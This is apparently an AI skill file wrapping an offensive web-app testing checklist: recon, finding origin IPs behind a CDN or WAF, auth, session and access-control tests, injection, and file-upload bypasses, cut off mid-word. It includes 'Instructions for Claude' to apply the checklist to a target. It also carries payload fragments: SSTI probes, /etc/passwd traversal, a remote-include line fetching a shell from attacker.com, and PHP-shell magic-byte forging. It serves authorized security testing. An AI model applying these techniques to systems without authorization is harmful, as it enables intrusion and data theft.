SKILL: Fast Testing Checklist

Metadata

• Skill Name: fast-checking
• Folder: offensive-fast-checking
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/fast-checking.md

Description

Speed-optimized offensive checklist for rapid assessment: quick-win vulnerability patterns, fast recon shortcuts, automated scanner configurations, and triage shortcuts. Use for time-boxed assessments, CTF-speed engagements, or initial rapid surface mapping.

Trigger Phrases

Use this skill when the conversation involves any of: fast check, quick recon, rapid assessment, quick wins, fast triage, speed checklist, time-boxed, CTF, fast scan, quick vulnerability

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

---

Full Methodology

Fast Testing Checklist

A combination of my own methodology and the Web Application Hacker's Handbook Task checklist, as a Github-Flavored Markdown file

• use lostsec
• maintain a personal payloads repo synced with BLNS/SecLists; keep a tiny “golden” set for smoke tests

Reconnaissance and Analysis

• [ ] Map visible content (Manually)
  • [ ] Perform Functionality Mapping by browsing the application thoroughly.
  • [ ] Check API Documentation (Public, Swagger/OpenAPI).
• [ ] Discover hidden & default content (Directory/File Bruteforce)
• [ ] Test for debug parameters
• [ ] Identify data entry points (Discover Dynamic Content in Burp Pro)
• [ ] Identify the technologies used (Wappalyzer or similiar)
• [ ] Research existing vulnerabilities in technology (Google ++)
• [ ] Gather wordlists for specific technology (Assetnote, SecList and Naughty Strings)
• [ ] Map the attack surface automatically (e.g Burp spider)
• [ ] Identify all javascript files for later analysis (in your proxy)
• [ ] Scope Discovery (DNS, IPs, Subdomains)
• [ ] Capture API contracts (OpenAPI/GraphQL) and diff against observed traffic
• [ ] Identify gateways/WAF/CDN (headers, cookies, control pages)
• [ ] Identify cache layers and behaviors (vary keys, CDN rules, edge rewrites)

Find Origin IP behind CDN/WAF

• [ ] Confirm WAF presence (IP Org check, headers, cookies, block pages).
• [ ] Check Historical DNS records (SecurityTrails, DNSDumpster).
• [ ] Enumerate Subdomains & check IPs (focus on dev/staging).
• [ ] Analyze SSL Certificates (Censys, Shodan - check SANs).
• [ ] Analyze Email Headers from target (Received, X-Originating-IP).
• [ ] Test potential IPs directly (curl --resolve example.com:443:<IP> https://example.com/).
• [ ] Verify potential origin IPs (compare content, headers, certs).
• [ ] Probe HTTP/3 Alt‑Svc leakage and SNI/Host mismatches.

Access Control Testing

Authentication

• [ ] Test password quality rules
  • [ ] Minimum length, complexity, history, common password checks?
  • [ ] Paste functionality disabled?
• [ ] Test for username enumeration
  • [ ] Analyze response time, error messages, status codes for valid/invalid users.
  • [ ] Check account recovery flow for enumeration.
• [ ] Test resilience to password guessing
  • [ ] Is there rate limiting on login attempts?
  • [ ] Is there account lockout mechanism?
• [ ] Test any account recovery function
  • [ ] Weak security questions?
  • [ ] Host header injection in reset emails?
  • [ ] Token leakage via Referer?
  • [ ] Lack of token validation?
  • [ ] Predictable reset tokens?
• [ ] Test any "remember me" function
  • [ ] Analyze token entropy, expiration, security attributes.
• [ ] Test any impersonation function
• [ ] Test username uniqueness
  • [ ] Case sensitivity issues? (admin vs Admin)
  • [ ] Whitespace trimming issues?
• [ ] Check for unsafe distribution of credentials
• [ ] Test for fail-open conditions
• [ ] Test any multi-stage mechanisms
  • [ ] MFA bypasses (enrollment skip, verification manipulation, brute-force codes)?
  • [ ] Can MFA be disabled easily?
  • [ ] Parameter pollution vulnerabilities?
  • [ ] Test OAuth Flows (see dedicated section).
  • [ ] Test JWT implementations (see dedicated section).
  • [ ] Check for API Key leakage (source code, client-side JS, mobile apps).
  • [ ] Test API Key usage (URL, Header, Cookie).
  • [ ] Test HTTP Basic Auth strength.
  • [ ] Test HMAC signature implementation if used.
  • [ ] Validate DPoP/mTLS token binding if advertised.
  • [ ] Refresh‑token rotation and reuse detection.
  • [ ] Passkeys/WebAuthn flows including recovery/fallbacks.

Session handling

• [ ] Test tokens for meaning
• [ ] Test tokens for predictability
• [ ] Check for insecure transmission of tokens
  • [ ] Missing Secure flag on cookies?
  • [ ] Sent over HTTP?
• [ ] Check for disclosure of tokens in logs and URL params
• [ ] Check mapping of tokens to sessions(can they be reused?)
• [ ] Check session termination
  • [ ] Does logout fully invalidate the session token?
  • [ ] Is there session rotation on login/logout/privilege change?
  • [ ] Check session timeout enforcement (client/server).
  • [ ] Token reuse across devices; device binding enforced?
  • [ ] Cookie partitioning/CHIPS behavior in embedded/3rd‑party contexts.
• [ ] Check for session fixation
  • [ ] Are session tokens retained pre/post-authentication?
  • [ ] Can a specific token be forced on a user?
• [ ] Check for cross-site request forgery
  • [ ] Presence and validation of Anti-CSRF tokens?
  • [ ] Use of SameSite cookie attribute?
    • Check if Lax or Strict. None requires Secure.
  • [ ] Check Referer/Origin header validation.
  • [ ] Try removing token parameter.
  • [ ] Try switching request method (POST -> GET).
  • [ ] Try changing Content-Type.
  • [ ] Use Burp CSRF PoC generator.
  • [ ] Test login CSRF and OAuth state parameter integrity.
  • [ ] Validate Origin and Sec-Fetch-* headers on state‑changing requests.
• [ ] Check cookie scope
  • [ ] Domain and Path attributes too broad?
  • [ ] HttpOnly flag missing?

Access controls

• [ ] Understand the access control requirements
• [ ] Test effectiveness of controls, using multiple accounts if possible
  • [ ] Can User A access User B's data (same privilege)?
  • [ ] Can a lower-privileged user access higher-privileged resources/functions?
  • [ ] Pay attention to features returning sensitive info or modifying data.
  • [ ] Create accounts for each role.
• [ ] Test for insecure access control methods (request parameters, Referer header, etc)
  • [ ] Check for IDs in URL params, body, cookies, headers (id, user_id, account_id, etc.).
  • [ ] Try modifying numerical IDs (1 -> 2).
  • [ ] Try replacing UUIDs/GUIDs.
  • [ ] Decode/modify encoded IDs (Base64, Hex).
  • [ ] Add missing IDs (e.g., add user_id to /api/messages).
  • [ ] Manipulate arrays/objects in JSON/XML requests.
  • [ ] Change request method (GET -> POST/PUT).
  • [ ] Change file types (/resource/1 -> /resource/1.json).
  • [ ] Wrap IDs in arrays (id:1 -> id:[1]) or objects (id:1 -> id:{id:1}).
  • [ ] Test parameter pollution (id=attacker&id=victim).
  • [ ] Test wildcard access (/users/*).
• [ ] Test Broken Object Property Level Authorization (BOPLA) / Mass Assignment:
  • [ ] Can read-only properties be modified via request?
  • [ ] Can sensitive properties seen in responses be added to update requests?
  • [ ] Try JSON Patch/Merge Patch content types to sneak forbidden fields.
• [ ] Test Broken Function Level Authorization (BFLA):
  • [ ] Can user A access functions intended only for user B (e.g., admin functions)?
  • [ ] Try accessing admin endpoints directly (/admin, /dashboard).
  • [ ] Test different HTTP methods on endpoints (e.g., GET -> PUT/DELETE).
  • [ ] Check older API versions (/v1/ vs /v3/).

Input Validation Testing

• [ ] Fuzz all request parameters
  • [ ] Identify injection points.
  • [ ] Choose appropriate Payload Lists (SecLists, BLNS, FuzzDB).
  • [ ] Monitor results for anomalies.
• [ ] Test for SQL injection
  • [ ] Use SQLMap for automation/deeper testing.
• [ ] Identify all reflected data
• [ ] Test for reflected XSS
  • [ ] Hint: Look for requests echoing URL parameters in the response.
• [ ] Test for HTTP header injection
  • [ ] Hint: Look for requests echoing URL parameters in the response (CRLF).
• [ ] Test for arbitrary redirection (Open Redirect)
  • [ ] Hint: Check any URLs with redirect-related parameters (redirect, url, next, returnTo, redirect_uri, etc.).
  • [ ] Test redirect endpoints (social login, auth flows, payment gateways).
• [ ] Test for stored attacks
  • [ ] Test comments, user profiles, product reviews, etc.
  • [ ] Consider Blind XSS vectors (admin panels, log viewers) - use callback listeners (XSS Hunter, Collaborator).
• [ ] Test for OS command injection
  • [ ] Test URL parameters, HTTP headers, body parameters, file uploads.
• [ ] Test for path traversal
  • [ ] Test parameters used in file operations (e.g., ?file=, ?template=, ?document=).
  • [ ] Double decode, mixed slashes, UTF‑8 overlong sequences; framework-specific normalization.
• [ ] Test for script injection
  • [ ] Check for SSTI (Server-Side Template Injection) by injecting template characters: ${{<%[%'"}}%\, {{7*7}}, ${7*7}.
  • [ ] Identify engine using error messages or specific syntax ({{config}}, {$smarty}).
  • [ ] Use engine-specific payloads (Jinja2, FreeMarker, Smarty, etc.) for RCE/file read.
  • [ ] Test client‑side template injection (Angular/React) via DOM sinks.
• [ ] Test for file inclusion
  • [ ] LFI: Test including local files (/etc/passwd, C:\windows\win.ini).
  • [ ] RFI: Test including remote files (http://attacker.com/shell.txt). Requires allow_url_include in PHP.
  • [ ] Check PHP wrappers: php://filter/convert.base64-encode/resource=, php://input, data://.
  • [ ] Can this be escalated to RCE? (Log poisoning, /proc/self/environ, PHP sessions, file uploads).
  • [ ] Blind LFI via zip/tar traversal and image processing libraries.
• [ ] Test for SMTP injection
• [ ] Test for native software flaws (buffer overflow, integer bugs, format strings)
• [ ] Test for SOAP injection
• [ ] Test for LDAP injection
• [ ] Test for XPath injection
  • [ ] Hint: Check any XML-accepting HTTP requests (also for XXE).
• [ ] Test for XXE (XML External Entity)
  • [ ] Identify XML inputs (API endpoints, file uploads: XML, DOCX, SVG, SOAP).
  • [ ] Check if Content-Type application/xml is accepted even on JSON endpoints.
  • [ ] Test file uploads (SVG, DOCX) by embedding XXE payloads.

File Upload Testing

• [ ] Identify all file upload functionalities (profiles, docs, media, imports).
• [ ] Test uploading basic executable types (PHP, ASP, JSP, etc.).
• [ ] Test alternative/double extensions (.phtml, .php5, .inc, .aspx, file.php.jpg, file.php%00.jpg).
• [ ] Test case sensitivity (.PhP, .AspX).
• [ ] Test trailing characters (file.php., file.php::$DATA).
• [ ] Modify Content-Type header (image/jpeg for PHP file).
• [ ] Forge Magic Bytes (e.g., prepend GIF89a; to PHP shell).
• [ ] Test Polyglot files (e.g., GIFAR, image with code in EXIF).
• [ ] Test Path Traversal in filename (../../etc/passwd).
• [ ] Test Command/SQL/SSRF injection in filename parameter.
• [ ] Test Archive uploads (Zip Slip, Symlinks).
• [ ] Check for ImageMagick vulnerabilities (ImageTragick).
• [ ] Check for vulnerabilities in 3rd-party libraries (ExifTool).
• [ ] Test for Race Conditions during upload/validation.
• [ ] Bypass client-side validation (disable JS, intercept request).
• [ ] Test post‑upload processing chains (thumbnailers, OCR, AV scanners) for RCE/SSRF.
• [ ] Validate MIME sniffing vs Content‑Type; double extensions and unicode normalization.
• [ ] Image/Ghostsc